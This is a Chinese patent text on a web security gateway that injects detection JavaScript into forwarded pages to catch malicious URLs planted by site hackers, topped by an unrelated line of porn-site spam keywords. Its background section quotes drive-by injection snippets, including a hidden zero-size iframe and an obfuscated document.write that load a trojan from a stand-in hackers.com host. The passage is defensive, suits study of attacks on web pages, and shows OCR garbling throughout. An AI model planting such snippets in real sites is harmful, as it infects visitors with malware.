亚洲成年人黄色一级片,日本香港三级亚洲三级,黄色成人小视频,国产青草视频,国产一区二区久久精品,91在线免费公开视频,成年轻人网站色直接看

一種安全網(wǎng)關(guān)及其轉(zhuǎn)發(fā)網(wǎng)頁(yè)的方法

文檔序號(hào):7764299閱讀:199來(lái)源:國(guó)知局
專利名稱:一種安全網(wǎng)關(guān)及其轉(zhuǎn)發(fā)網(wǎng)頁(yè)的方法
技術(shù)領(lǐng)域
本發(fā)明涉及網(wǎng)絡(luò)安全領(lǐng)域,具體涉及一種安全網(wǎng)關(guān)及其轉(zhuǎn)發(fā)網(wǎng)頁(yè)的方法。
背景技術(shù)
經(jīng)過(guò)近二十年的發(fā)展,當(dāng)前互聯(lián)網(wǎng)規(guī)模已經(jīng)非常龐大,特別是作為互聯(lián)網(wǎng)主要業(yè)務(wù)之一的Web業(yè)務(wù)更是得到了極速發(fā)展,給人們獲取信息帶來(lái)了極大便利。與此同時(shí),那些為人們提供Web業(yè)務(wù)的Web網(wǎng)站的安全狀況堪憂,最常見的安全問題是Web網(wǎng)站網(wǎng)頁(yè)被黑客掛馬。目前,90%以上的木馬、病毒都是利用掛馬網(wǎng)頁(yè)傳播的。早期的網(wǎng)頁(yè)掛馬是在Web 網(wǎng)頁(yè)中直接嵌入IFRAME或者Object對(duì)象實(shí)現(xiàn)的,比如,黑客在受害者網(wǎng)站www. abc. com首頁(yè)面中直接嵌入下面的代碼<iframe src ='Tittp //www. hackers. com/Trojan, html "width = Oheight = 0/>上述 HTML 代碼中,http://www. hackers. com/Trojan, html 所指示的網(wǎng)頁(yè)就是一個(gè)想通過(guò)受害者網(wǎng)站www. abc. com傳播的網(wǎng)頁(yè)木馬。如圖1所示,當(dāng)作為受害者的Web客戶端發(fā)送請(qǐng)求給被掛馬的Web網(wǎng)站m abc. com,得到m abc. com網(wǎng)站首頁(yè)面并打開時(shí),會(huì)去請(qǐng)求木馬所在Web網(wǎng)站www. hackers, com的網(wǎng)頁(yè)木馬Trojan, html, Trojan, html將被自動(dòng)加載在客戶端上,并在用戶沒有知覺的情況下實(shí)現(xiàn)對(duì)該客戶端的漏洞攻擊和木馬安裝。這些被掛馬的網(wǎng)站既是黑客攻擊的受害者,客觀上也充當(dāng)了黑客傳播木馬的“幫兇”。一旦一個(gè)網(wǎng)站被黑客掛馬,將對(duì)該網(wǎng)站的聲譽(yù)造成非常不好的影響,因此,網(wǎng)站管理員都在尋求一種能夠自動(dòng)檢測(cè)其網(wǎng)站各Web頁(yè)面中網(wǎng)頁(yè)掛馬腳本的方法。從上面所述的Web 網(wǎng)頁(yè)掛馬例子看出,通常情況下,被掛馬Web網(wǎng)頁(yè)和網(wǎng)頁(yè)木馬并不在同一個(gè)Web網(wǎng)站上。絕大多數(shù)情況下,黑客只是在被掛馬的Web頁(yè)面中塞入少量幾行HTML代碼(如上所示),這些HTML代碼并不具有傳統(tǒng)文件病毒所具有的病毒特征,因此,無(wú)法采用傳統(tǒng)病毒查殺方法對(duì)被保護(hù)Web網(wǎng)站的所有Web頁(yè)面進(jìn)行病毒掃描來(lái)發(fā)現(xiàn)網(wǎng)頁(yè)中隱藏的網(wǎng)頁(yè)掛馬。目前,一種最簡(jiǎn)單直接的檢測(cè)網(wǎng)頁(yè)掛馬腳本的方法就是對(duì)各Web頁(yè)面進(jìn)行網(wǎng)頁(yè)結(jié)構(gòu)分析(也稱為文檔對(duì)象模型分析),然后查找網(wǎng)頁(yè)中是否包含指向網(wǎng)頁(yè)木馬網(wǎng)站的惡意 URL (Universal Resource Location,統(tǒng)一資源定位符)來(lái)判定當(dāng)前Web網(wǎng)頁(yè)是否被掛馬。 后面敘述中,本文稱那些指向網(wǎng)頁(yè)木馬所在位置的URL為惡意URL。由于直接嵌入HTML代碼的網(wǎng)頁(yè)掛馬方法比較容易通過(guò)上面描述的網(wǎng)頁(yè)結(jié)構(gòu)分析檢測(cè)出來(lái),因此,攻擊者開始更高級(jí)的網(wǎng)頁(yè)掛馬方法。目前最流行的網(wǎng)頁(yè)掛馬方法則是采用客戶端腳本來(lái)實(shí)現(xiàn)。比如,攻擊者在www. abc. com網(wǎng)站首頁(yè)面中嵌入下面的腳本,是采用 Javascript生成IFRAME標(biāo)簽實(shí)現(xiàn)的網(wǎng)頁(yè)掛馬代碼<script type = " text/j avascript">var 1 = "http ” +” //” +” www" +” · ” +” hackers” +” · ” +” com/Trojan, html ”document, write ( "<iframe"+ "src =”+l+ "width = Oheight = 0>”)〈/script〉該Javascript代碼將惡意URL保存在變量1中,然后,通過(guò)document對(duì)象的write函數(shù)向當(dāng)前Web網(wǎng)頁(yè)的文檔對(duì)象模型輸出一個(gè)IFRAME標(biāo)簽來(lái)實(shí)現(xiàn)對(duì)指定的網(wǎng)頁(yè)木馬的自動(dòng)加載,從而實(shí)現(xiàn)了對(duì)Web客戶端的漏洞攻擊和木馬安裝。由于采用客戶端腳本的網(wǎng)頁(yè)掛馬方法理論上存在無(wú)數(shù)種變形,因此無(wú)法通過(guò)靜態(tài)的、自動(dòng)化的網(wǎng)頁(yè)結(jié)構(gòu)分析檢測(cè)出來(lái)。目前比較流行的網(wǎng)頁(yè)掛馬檢測(cè)方法為Web客戶端蜜罐法,其主要原理是在一個(gè)被完全控制的蜜罐中運(yùn)行一個(gè)網(wǎng)頁(yè)爬蟲,由網(wǎng)頁(yè)爬蟲定期訪問被監(jiān)控的Web網(wǎng)站,并嘗試打開其中每一個(gè)網(wǎng)頁(yè),當(dāng)打開某個(gè)網(wǎng)頁(yè)的過(guò)程中發(fā)現(xiàn)蜜罐被植入了病毒,則判定該網(wǎng)頁(yè)被掛馬?;诿酃薜木W(wǎng)頁(yè)掛馬檢測(cè)方法存在的主要不足是1)蜜罐檢查法對(duì)蜜罐環(huán)境的依賴性較大,它不能檢測(cè)出那些沒有滿足攻擊條件的網(wǎng)頁(yè)木馬,比如,采用IntemetExplorer作為瀏覽器的蜜罐是無(wú)法檢測(cè)到那些針對(duì)Mozilla瀏覽器漏洞的網(wǎng)頁(yè)木馬;2)蜜罐檢測(cè)法為一種主動(dòng)性的網(wǎng)頁(yè)掛馬檢測(cè)方法,無(wú)法實(shí)現(xiàn)對(duì)網(wǎng)頁(yè)掛馬的實(shí)時(shí)檢測(cè);3)蜜罐檢測(cè)法對(duì)計(jì)算資源要求較高,無(wú)法在Web安全網(wǎng)關(guān)上實(shí)現(xiàn)。在實(shí)際的Web安全防御過(guò)程中,人們往往采用Web安全網(wǎng)關(guān)(也稱為Web應(yīng)用防火墻)來(lái)實(shí)現(xiàn)對(duì)網(wǎng)頁(yè)掛馬的實(shí)時(shí)檢測(cè),這是因?yàn)閃eb安全網(wǎng)關(guān)部署在離Web服務(wù)器最近的地方,它可以對(duì)進(jìn)出Web服務(wù)器的HTTP流量進(jìn)行監(jiān)控。目前常見的基于Web安全網(wǎng)關(guān)的網(wǎng)頁(yè)掛馬檢測(cè)方法就是前面提到的網(wǎng)頁(yè)結(jié)構(gòu)分析和URL匹配方法,其具體工作原理為首先收集那些代表網(wǎng)頁(yè)木馬所在位置的惡意URL,并保存在網(wǎng)頁(yè)掛馬知識(shí)庫(kù)中;然后,對(duì)于轉(zhuǎn)發(fā)給Web客戶端的每個(gè)Web網(wǎng)頁(yè),Web安全網(wǎng)關(guān)對(duì)該Web頁(yè)面進(jìn)行文檔對(duì)象模型(Document Object Model, DOM)分析,抽取出嵌入在該Web頁(yè)面中的所有URL,并與先前保存在網(wǎng)頁(yè)掛馬知識(shí)庫(kù)中的惡意URL進(jìn)行匹配,如果匹配成功,則表示檢測(cè)到了網(wǎng)頁(yè)掛馬。基于Web安全網(wǎng)關(guān)的網(wǎng)頁(yè)掛馬檢測(cè)方法優(yōu)點(diǎn)是易于實(shí)現(xiàn),缺點(diǎn)是由于Web安全網(wǎng)關(guān)計(jì)算能力限制,目前的Web安全網(wǎng)關(guān)并不提供對(duì)客戶端腳本(比如Javascript或者 VBScript)的解釋執(zhí)行能力,因此,Web安全網(wǎng)關(guān)無(wú)法提取出那些利用客戶端腳本生成的惡意URL,從而無(wú)法檢測(cè)出那些采用客戶端腳本進(jìn)行網(wǎng)頁(yè)掛馬的網(wǎng)頁(yè)掛馬行為。為敘述方便,本文將那種不支持客戶端腳本解釋執(zhí)行的網(wǎng)頁(yè)結(jié)構(gòu)分析方法稱為靜態(tài)網(wǎng)頁(yè)結(jié)構(gòu)分析方法,而將那種支持客戶端腳本解釋執(zhí)行的網(wǎng)頁(yè)結(jié)構(gòu)分析方法稱為動(dòng)態(tài)網(wǎng)頁(yè)結(jié)構(gòu)分析方法。

發(fā)明內(nèi)容
本發(fā)明要解決的技術(shù)問題是提供一種安全網(wǎng)關(guān)及其轉(zhuǎn)發(fā)網(wǎng)頁(yè)的方法,能夠在不加重安全網(wǎng)關(guān)計(jì)算開銷的情況下,對(duì)隱藏在Web頁(yè)面中的惡意URL進(jìn)行準(zhǔn)確的檢測(cè)。為了解決上述問題,本發(fā)明提供了一種安全網(wǎng)關(guān)轉(zhuǎn)發(fā)網(wǎng)頁(yè)的方法,包括當(dāng)從服務(wù)器得到客戶端請(qǐng)求的Web頁(yè)面后,將預(yù)先生成的移動(dòng)代碼依附到待轉(zhuǎn)發(fā) Web頁(yè)面中;所述移動(dòng)代碼被設(shè)置成當(dāng)執(zhí)行時(shí)遍歷所依附的Web頁(yè)面對(duì)應(yīng)的文檔對(duì)象模型, 抽取出指定HTML標(biāo)簽中的URL,并將抽取出的URL與預(yù)先設(shè)置的惡意URL集合進(jìn)行匹配;在依附了所述移動(dòng)代碼的所述Web頁(yè)面中添加命令語(yǔ)句;所述命令語(yǔ)句設(shè)置成當(dāng)所述Web頁(yè)面被加載時(shí)觸發(fā)所述移動(dòng)代碼執(zhí)行;將依附了所述移動(dòng)代碼并添加語(yǔ)句后的Web頁(yè)面轉(zhuǎn)發(fā)給所述客戶端。優(yōu)選地,所述在所述Web頁(yè)面中添加語(yǔ)句的步驟包括在依附了所述移動(dòng)代碼的所述Web頁(yè)面的Body標(biāo)簽增加onload事件,并使onload事件指向所述移動(dòng)代碼的主要函數(shù)。優(yōu)選地,所述在所述Web頁(yè)面中添加語(yǔ)句的步驟包括在依附了所述移動(dòng)代碼的所述Web頁(yè)面的最后位置增加一個(gè)直接調(diào)用所述移動(dòng)代碼主函數(shù)的SCRIPT標(biāo)簽。優(yōu)選地,所述移動(dòng)代碼還被設(shè)置成當(dāng)所抽取的URL和所述惡意URL集合中任一 URL 匹配時(shí),發(fā)送包含惡意URL報(bào)警的HTTP請(qǐng)求給指向所述安全網(wǎng)關(guān)的特定URL。優(yōu)選地,所述移動(dòng)代碼還被設(shè)置成如果發(fā)現(xiàn)一個(gè)HTML標(biāo)簽相關(guān)的URL值和所述惡意URL集合中任一 URL匹配時(shí),將該HTML標(biāo)簽的URL值置為空值。本發(fā)明還提供了一種安全網(wǎng)關(guān),包括添加模塊,用于當(dāng)從服務(wù)器得到客戶端請(qǐng)求的Web頁(yè)面后,將預(yù)先生成的移動(dòng)代碼依附到待轉(zhuǎn)發(fā)Web頁(yè)面中;所述移動(dòng)代碼被設(shè)置成當(dāng)執(zhí)行時(shí)遍歷所依附的Web頁(yè)面對(duì)應(yīng)的文檔對(duì)象模型,抽取出指定HTML標(biāo)簽中的URL,并將抽取出的URL與預(yù)先設(shè)置的惡意URL 集合進(jìn)行匹配;Web頁(yè)面修改模塊,用于在依附了所述移動(dòng)代碼的所述Web頁(yè)面中添加命令語(yǔ)句, 所述命令語(yǔ)句設(shè)置成所述Web頁(yè)面當(dāng)被加載時(shí)觸發(fā)所述移動(dòng)代碼執(zhí)行;Web頁(yè)面轉(zhuǎn)發(fā)模塊,用于將依附了所述移動(dòng)代碼并添加語(yǔ)句后的Web頁(yè)面轉(zhuǎn)發(fā)給所述客戶端。優(yōu)選地,所述Web頁(yè)面修改模塊在所述Web頁(yè)面中添加語(yǔ)句是指所述Web頁(yè)面修改模塊在依附了所述移動(dòng)代碼的所述Web頁(yè)面的Body標(biāo)簽增加 onload事件,并使onload事件指向所述移動(dòng)代碼的主要函數(shù)。優(yōu)選地,所述Web頁(yè)面修改模塊在所述Web頁(yè)面中添加語(yǔ)句是指所述Web頁(yè)面修改模塊在依附了所述移動(dòng)代碼的當(dāng)前Web頁(yè)面最后位置增加一個(gè)直接調(diào)用所述移動(dòng)代碼主函數(shù)的SCRIPT標(biāo)簽。優(yōu)選地,所述移動(dòng)代碼還設(shè)置成當(dāng)所抽取的URL和所述惡意URL集合中任一 URL 匹配時(shí),發(fā)送包含惡意URL報(bào)警的HTTP請(qǐng)求給指向所述安全網(wǎng)關(guān)的特定URL ;所述安全網(wǎng)關(guān)還包括惡意URL報(bào)警接收模塊,用于當(dāng)收到惡意URL報(bào)警時(shí)通知安全管理員;HTTP請(qǐng)求轉(zhuǎn)發(fā)模塊,與所述惡意URL報(bào)警接收模塊連接,用于接收來(lái)自所述客戶端的HTTP請(qǐng)求,如果該HTTP請(qǐng)求包含惡意URL報(bào)警,則將該HTTP請(qǐng)求中包含的惡意URL 報(bào)警轉(zhuǎn)發(fā)給所述惡意URL報(bào)警接收模塊;如果不包含惡意URL報(bào)警,則轉(zhuǎn)發(fā)給服務(wù)器。優(yōu)選地,所述移動(dòng)代碼還設(shè)置成當(dāng)一個(gè)HTML標(biāo)簽的URL值和所述惡意URL集合中任一 URL匹配時(shí),將該HTML標(biāo)簽的URL值置為空值。本發(fā)明的技術(shù)方案的優(yōu)點(diǎn)包括l)ffeb安全網(wǎng)關(guān)無(wú)需對(duì)待轉(zhuǎn)發(fā)的Web頁(yè)面執(zhí)行靜態(tài)的和動(dòng)態(tài)的網(wǎng)頁(yè)結(jié)構(gòu)分析和惡意URL匹配,只需注入可在Web客戶端執(zhí)行的移動(dòng)代碼即可,所有的對(duì)Web頁(yè)面的動(dòng)態(tài)網(wǎng)頁(yè)結(jié)構(gòu)分析和惡意URL匹配操作都將在Web客戶端由標(biāo)準(zhǔn)瀏覽器和所述移動(dòng)代碼完成,這將極大地減輕Web安全網(wǎng)關(guān)的計(jì)算開銷;2)對(duì)Web頁(yè)面的動(dòng)態(tài)網(wǎng)頁(yè)結(jié)構(gòu)分析操作可以由具有客戶端腳本解釋執(zhí)行能力的標(biāo)準(zhǔn)瀏覽器完成的,充分利用了 Web客戶端瀏覽器強(qiáng)大的動(dòng)態(tài)網(wǎng)頁(yè)結(jié)構(gòu)分析能力,所述移動(dòng)代碼只需要在Web瀏覽器構(gòu)建完文檔對(duì)象模型并準(zhǔn)備加載遠(yuǎn)程對(duì)象之前對(duì)文檔對(duì)象模型進(jìn)行遍歷,就可以提取出所需要的URL列表,從而可以方便的實(shí)現(xiàn)對(duì)包含在Web頁(yè)面中的惡意URL的準(zhǔn)確檢測(cè);3)惡意URL檢測(cè)操作是由Web安全網(wǎng)關(guān)和Web客戶端協(xié)助完成的,無(wú)需Web服務(wù)器的參與,因此易于部署;與當(dāng)前的單純由Web安全網(wǎng)關(guān)實(shí)現(xiàn)的惡意URL檢測(cè)方法相比,既可以減輕Web安全網(wǎng)關(guān)的計(jì)算壓力,同時(shí)也可大幅提高對(duì)Web頁(yè)面的惡意URL的檢測(cè)準(zhǔn)確度。


圖1為Web客戶端訪問被掛馬網(wǎng)站時(shí)的攻擊過(guò)程;圖2為采用實(shí)施例一的網(wǎng)頁(yè)轉(zhuǎn)發(fā)方法時(shí),進(jìn)行惡意URL過(guò)濾的方法的流程示意圖;圖3為實(shí)施例一的例子中Web客戶端構(gòu)造的文檔對(duì)象模型。
具體實(shí)施例方式下面將結(jié)合附圖及實(shí)施例對(duì)本發(fā)明的技術(shù)方案進(jìn)行更詳細(xì)的說(shuō)明。需要說(shuō)明的是,如果不沖突,本發(fā)明實(shí)施例以及實(shí)施例中的各個(gè)特征可以相互結(jié)合,均在本發(fā)明的保護(hù)范圍之內(nèi)。另外,在附圖的流程圖示出的步驟可以在諸如一組計(jì)算機(jī)可執(zhí)行指令的計(jì)算機(jī)系統(tǒng)中執(zhí)行,并且,雖然在流程圖中示出了邏輯順序,但是在某些情況下,可以以不同于此處的順序執(zhí)行所示出或描述的步驟。實(shí)施例一,一種安全網(wǎng)關(guān)轉(zhuǎn)發(fā)網(wǎng)頁(yè)的方法,包括當(dāng)從服務(wù)器得到客戶端請(qǐng)求的Web頁(yè)面后,將預(yù)先生成的移動(dòng)代碼依附到待轉(zhuǎn)發(fā) Web頁(yè)面中;所述移動(dòng)代碼被設(shè)置成當(dāng)執(zhí)行時(shí)遍歷所依附的Web頁(yè)面對(duì)應(yīng)的文檔對(duì)象模型, 抽取出指定HTML標(biāo)簽中的URL,并將抽取出的URL與預(yù)先設(shè)置的惡意URL集合進(jìn)行匹配;在依附了所述移動(dòng)代碼的所述Web頁(yè)面中添加命令語(yǔ)句;所述命令語(yǔ)句設(shè)置成當(dāng)所述Web頁(yè)面被加載時(shí)觸發(fā)所述移動(dòng)代碼執(zhí)行;將依附了所述移動(dòng)代碼并添加語(yǔ)句后的Web頁(yè)面轉(zhuǎn)發(fā)給所述客戶端。本實(shí)施例中,所述移動(dòng)代碼是可以由Web瀏覽器或Web客戶端中其它程序解釋執(zhí)行的;當(dāng)位于Web客戶端的標(biāo)準(zhǔn)Web瀏覽器加載依附了所述移動(dòng)代碼的Web頁(yè)面時(shí),將會(huì)在加載過(guò)程中或加載完成后執(zhí)行所述移動(dòng)代碼;所述移動(dòng)代碼會(huì)遍歷當(dāng)前Web頁(yè)面所對(duì)應(yīng)的文檔對(duì)象模型,抽取出所依附Web頁(yè)面中與可能用來(lái)加載網(wǎng)頁(yè)木馬的HTML標(biāo)簽相關(guān)的URL, 并將抽取出的URL與所述惡意URL集合進(jìn)行匹配,從而完成對(duì)Web頁(yè)面的檢測(cè)。本實(shí)施例中,所述指定HTML標(biāo)簽可以但不限于設(shè)置為可能用來(lái)加載網(wǎng)頁(yè)木馬的 HTML標(biāo)簽,應(yīng)用時(shí)也可以是各類HTML標(biāo)簽;所述的可能用來(lái)加載網(wǎng)頁(yè)木馬的HTML標(biāo)簽可以包括以下任一種或其任意組合IFRAME、OBJECT、SCRIPT,LINK。實(shí)際應(yīng)用時(shí),可以根據(jù)情況確定所述移動(dòng)代碼中的指定HTML標(biāo)簽,還可以在實(shí)施過(guò)程中修改。本實(shí)施例中,所述的預(yù)先設(shè)置的惡意URL集合可以但不限于由安全專家通過(guò)Web 蜜網(wǎng)或者Web安全事件應(yīng)急響應(yīng)過(guò)程中收集整理而來(lái)。本實(shí)施例中,所述移動(dòng)代碼可以但不限于為Javascript腳本或VBScript腳本。
本實(shí)施例中,所述方法還可以包括更新所述惡意URL集合,包括增加、修改和刪除所述惡意URL集合中的惡意URL ;當(dāng)所述惡意URL集合更新后,用更新后的惡意URL集合替代所述移動(dòng)代碼中原有的惡意URL集合,或生成新的、攜帶更新后的惡意URL集合的移動(dòng)代碼。本實(shí)施例的一種實(shí)施方式中,所述在所述Web頁(yè)面中添加語(yǔ)句的步驟具體可以包括在依附了所述移動(dòng)代碼的所述Web頁(yè)面的Body標(biāo)簽增加onload事件,并使 onload事件指向所述移動(dòng)代碼的主要函數(shù)。該實(shí)施方式中,所述客戶端的Web瀏覽器將會(huì)在加載過(guò)程中執(zhí)行所述移動(dòng)代碼。本實(shí)施例的另一種實(shí)施方式中,所述在所述Web頁(yè)面中添加語(yǔ)句的步驟具體可以包括在依附了所述移動(dòng)代碼的所述Web頁(yè)面的最后位置增加一個(gè)直接調(diào)用所述移動(dòng)代碼主函數(shù)的SCRIPT標(biāo)簽。該實(shí)施方式中,所述客戶端的Web瀏覽器將會(huì)在加載完成后執(zhí)行所述移動(dòng)代碼。本實(shí)施例中所述在所述Web頁(yè)面中添加語(yǔ)句的步驟不限于以上兩種實(shí)施方式。本實(shí)施例中,所述Web瀏覽器加載Web頁(yè)面過(guò)程中,調(diào)用依附于Web頁(yè)面中的移動(dòng)代碼的時(shí)間點(diǎn)為Web瀏覽器為當(dāng)前Web頁(yè)面創(chuàng)建完文檔對(duì)象模型之后和遠(yuǎn)程獲取文檔對(duì)象模型中相關(guān)元素的嵌入式對(duì)象之前。本實(shí)施例中,所述移動(dòng)代碼攜帶指向所述安全網(wǎng)關(guān)的特定URL,所述移動(dòng)代碼還可以被設(shè)置成當(dāng)所抽取的URL和所述惡意URL集合中任一 URL匹配時(shí),通過(guò)所述的指向所述安全網(wǎng)關(guān)的特定URL向所述安全網(wǎng)關(guān)報(bào)警,比如但不限于發(fā)送包含惡意URL報(bào)警的HTTP請(qǐng)求給指向Web安全網(wǎng)關(guān)的特定URL。該情況下,如果客戶端執(zhí)行所述移動(dòng)代碼時(shí)檢測(cè)到匹配的惡意URL,則可以向所述安全網(wǎng)關(guān)告警。本實(shí)施例中,所述移動(dòng)代碼還可以被設(shè)置成如果發(fā)現(xiàn)一個(gè)HTML標(biāo)簽相關(guān)的URL值和所述惡意URL集合中任一 URL匹配時(shí),將該HTML標(biāo)簽的URL值置為空值,從而阻止客戶端的Web瀏覽器加載該URL所指向的惡意對(duì)象。本實(shí)施例中的Web安全網(wǎng)關(guān)位于Web客戶端和受保護(hù)Web網(wǎng)站之間。所述Web客戶端可運(yùn)行標(biāo)準(zhǔn)Web瀏覽器程序,包括微軟的IE瀏覽器、谷歌的Chrome瀏覽器或者M(jìn)ozilla 的FireFox瀏覽器等等。目前,所有標(biāo)準(zhǔn)Web瀏覽器都支持Javascript客戶端腳本的解釋執(zhí)行。此外,微軟的IE瀏覽器還支持VBscript作為客戶端腳本。目前,所有Web頁(yè)面都采用標(biāo)準(zhǔn)的HTML語(yǔ)言描述,因此,一個(gè)Web頁(yè)面所對(duì)應(yīng)的文檔也稱為HTML文檔。標(biāo)準(zhǔn)Web瀏覽器在加載一個(gè)HTML文檔的過(guò)程為首先依據(jù)HTML文檔內(nèi)容構(gòu)造該HTML文檔所對(duì)應(yīng)的文檔對(duì)象模型(也稱為DOM樹);然后,依據(jù)DOM樹內(nèi)容遠(yuǎn)程獲取所需要的各種嵌入式對(duì)象(包括圖像、視頻和音頻文件);最后,向用戶呈現(xiàn)一個(gè)圖文并貌的Web頁(yè)面。如果HTML文檔中包含客戶端腳本,則HTML文檔的加載過(guò)程將復(fù)雜一些,標(biāo)準(zhǔn)瀏覽器這時(shí)需要客戶端腳本執(zhí)行器的幫助。目前常見的客戶端腳本多為Javascript,下面以Javascript為例說(shuō)明標(biāo)準(zhǔn)Web瀏覽器加載包含Javascript腳本的HTML文檔的過(guò)程。目前,標(biāo)準(zhǔn)HTML文檔采用兩種方式引入javascript腳本1)采用SCRIPT腳本直接引入javascript腳本,比如<script>alert (123) ;〈/script〉,在這種情況下,標(biāo)準(zhǔn)瀏覽器將直接執(zhí)行夾在〈script〉和〈/script〉標(biāo)簽之間的“alert (123) ”;2)通過(guò)SCRIPT標(biāo)簽的 SRC 屬性遠(yuǎn)程引入 javascript 腳本,比如〈script src = "http//hostl/mimi. js,,>, 在這種情況下,標(biāo)準(zhǔn)Web瀏覽器將首先獲取hostl上的mimi. js文件,然后再執(zhí)行該文件中所包含的javascript腳本。標(biāo)準(zhǔn)Web瀏覽器在加載HTML文檔時(shí)是按順序加載各HTML標(biāo)簽元素的,并在HTML 標(biāo)簽元素加載過(guò)程時(shí)動(dòng)態(tài)構(gòu)造文檔對(duì)象樹。當(dāng)加載到SCRIPT元素時(shí),它將馬上執(zhí)行與該SCRIPT標(biāo)簽相關(guān)的javascript腳本,所執(zhí)行的javascript腳本允許讀取和修改當(dāng)前的文檔對(duì)象模型。所以,如果HTML文檔中存在多個(gè)SCRIPT元素,標(biāo)準(zhǔn)Web瀏覽器是按照 Javascript腳本在HTML文檔中的出現(xiàn)順序執(zhí)行的,也就是說(shuō)出現(xiàn)在HTML文檔最前面的 javascript腳本總是先于后面的javascript執(zhí)行。當(dāng)標(biāo)準(zhǔn)Web瀏覽器加載完HTML文檔中所有的HTML標(biāo)簽元素后,所述HTML文檔所對(duì)應(yīng)的文檔對(duì)象模型就構(gòu)造完成。當(dāng)HTML文檔加載完畢并構(gòu)造了相應(yīng)的文檔對(duì)象模型后,標(biāo)準(zhǔn)Web瀏覽器檢查該文檔對(duì)象模型中的BODY元素是否包含onload事件,如果存在onload事件,則調(diào)用onload事件中的javascript腳本,該javascript腳本允許對(duì)當(dāng)前的文檔對(duì)象模型進(jìn)行讀取和修改操作。最后,Web瀏覽器剩下工作就是為文檔對(duì)象模型中某些特定元素獲取指定的遠(yuǎn)程對(duì)象,然后為用戶呈現(xiàn)一個(gè)圖文并茂的Web頁(yè)面。在實(shí)施本實(shí)施例的網(wǎng)頁(yè)轉(zhuǎn)發(fā)方法時(shí),所采用的Web安全網(wǎng)關(guān)一般采用反向Web代理的方式實(shí)現(xiàn),它部署在Web服務(wù)器的前面,對(duì)進(jìn)出Web服務(wù)器的HTTP流量進(jìn)行安全控制。 Web安全網(wǎng)關(guān)向Web服務(wù)器轉(zhuǎn)發(fā)來(lái)自Web客戶端的HTTP請(qǐng)求,同時(shí)向Web客戶端轉(zhuǎn)發(fā)Web 服務(wù)器返回的Web頁(yè)面。本實(shí)施例的一個(gè)例子中,Web安全網(wǎng)關(guān)和Web客戶端、受保護(hù)的Web服務(wù)器之間的協(xié)作流程如圖2所示,包括如下幾個(gè)步驟201、Web客戶端向Web服務(wù)器提交HTTP請(qǐng)求,請(qǐng)求指定的Web頁(yè)面;202、Web安全網(wǎng)關(guān)將截獲該HTTP請(qǐng)求,進(jìn)行安全檢查;203、Web安全網(wǎng)關(guān)將安全檢查后的HTTP請(qǐng)求轉(zhuǎn)發(fā)給受保護(hù)的Web服務(wù)器;204、Web服務(wù)器處理HTTP請(qǐng)求,返回相應(yīng)的Web頁(yè)面給Web安全網(wǎng)關(guān);205、Web安全網(wǎng)關(guān)為該Web頁(yè)面依附一段可在Web客戶端執(zhí)行的移動(dòng)代碼;206、Web安全網(wǎng)關(guān)轉(zhuǎn)發(fā)依附了移動(dòng)代碼的Web頁(yè)面給Web客戶端;207、Web客戶端加載依附了移動(dòng)代碼的Web頁(yè)面,并在為該Web頁(yè)面構(gòu)造文檔對(duì)象模型完畢后調(diào)用依附的移動(dòng)代碼,執(zhí)行所述移動(dòng)代碼遍歷當(dāng)前Web頁(yè)面所對(duì)應(yīng)的文檔對(duì)象模型,抽取出所依附Web頁(yè)面中所有可能用來(lái)加載網(wǎng)頁(yè)木馬的HTML標(biāo)簽相關(guān)的URL,并與所述惡意URL集合進(jìn)行匹配;208、如果在步驟207中檢測(cè)到匹配的惡意URL,則向Web安全網(wǎng)關(guān)發(fā)送包含惡意 URL報(bào)警的HTTP請(qǐng)求;209、Web安全網(wǎng)關(guān)接收來(lái)自Web客戶端的惡意URL報(bào)警;雖然該報(bào)警也是用HTTP 請(qǐng)求的形式發(fā)送的,但Web安全網(wǎng)關(guān)檢測(cè)到其中包含惡意URL報(bào)警后,將不會(huì)將該HTTP請(qǐng)求轉(zhuǎn)發(fā)給Web服務(wù)器。
下面用三個(gè)具體的例子進(jìn)行說(shuō)明例子一,本例子中Web安全網(wǎng)關(guān)的惡意URL知識(shí)庫(kù)中包含三條惡意URL,它們分別為http://www. hackers, com/trojan. htmlhttp://www. hackers, cn/attacker, htmlhttp://www. hackers, jp/attacker, png該例子中,生成如下由Javascript腳本描述的移動(dòng)代碼〈script〉evi IURLs = {“http://www.hackers.corn/trojan.html,,,"http://www. hackers, cn/attacker. html,,,"http://www. hackers, jp/attacker. png"}function DetectEvilURLs(document){H首先對(duì)iframe標(biāo)簽進(jìn)行惡意URL檢測(cè)var iframeTags = document. getElementsByTagName(" iframe");for(i = 0 ;i < iframeTags. length ;i++) {If (iframeTags [i]. src) {if (belongto(iframeTags[i]. src, evilURLs)){alerttoffAF (iframeTags [i]. src) ;// 向 WAF 報(bào)警}}}H然后對(duì)Javascript標(biāo)簽進(jìn)行惡意URL檢測(cè)var jsTags = document. getElementsByTagName(” SCRIPT");for(i = 0 ;i < jsTags. length ;i++) {If (jsTags [i], src) {if (belongto (jsTags [i]. src, evilURLs)) {alerttoffAF (styleTags [i]. src) ;// 向 WAF 報(bào)警}}}//然后對(duì)LINK標(biāo)簽進(jìn)行惡意URL檢測(cè)var styleTags = document. getElementsByTagName(” LINK");for(i = 0 ;i < styleTags. length ;i++) {If (styleTags [i] · href) {if (belongto (styleTags [i], href, evilURLs)) {alerttoffAF (styleTags [i]. href) ;// 向 WAF 報(bào)警}}
10
}}〈/script〉為方便起見,后文中將上述代碼稱為移動(dòng)代碼A。所述的移動(dòng)代碼A中,首先采用evilURLs數(shù)組定義了預(yù)先設(shè)置的惡意URL集合; 然后,定義了一個(gè)用于實(shí)現(xiàn)對(duì)惡意URL進(jìn)行檢測(cè)的javascript函數(shù)DetectEvilURLs,該函數(shù)搜索當(dāng)前文檔對(duì)象模型中的IFRAME、SCRIPT和LINK標(biāo)簽,并檢測(cè)這些標(biāo)簽所對(duì)應(yīng)遠(yuǎn)程對(duì)象的URL是否與惡意URL匹配,如果匹配則向Web安全網(wǎng)關(guān)進(jìn)行報(bào)警。假設(shè)被保護(hù)的Web網(wǎng)站www. abc. com上存在一個(gè)Web頁(yè)面(名字為 ProductDetail. html),該Web頁(yè)面所對(duì)應(yīng)的HTML代碼如下所示。<HTML><head><title>Product Detail</titleX/head><body><font>many text showed here</font><body></html>假設(shè)由于安全漏洞問題,該Web網(wǎng)站被黑客獲得了網(wǎng)頁(yè)篡改權(quán)利,黑客在上述Web 頁(yè)面的HTML代碼中插入一段如背景技術(shù)中所述的網(wǎng)頁(yè)掛馬代碼,網(wǎng)頁(yè)掛馬后的Web頁(yè)面的 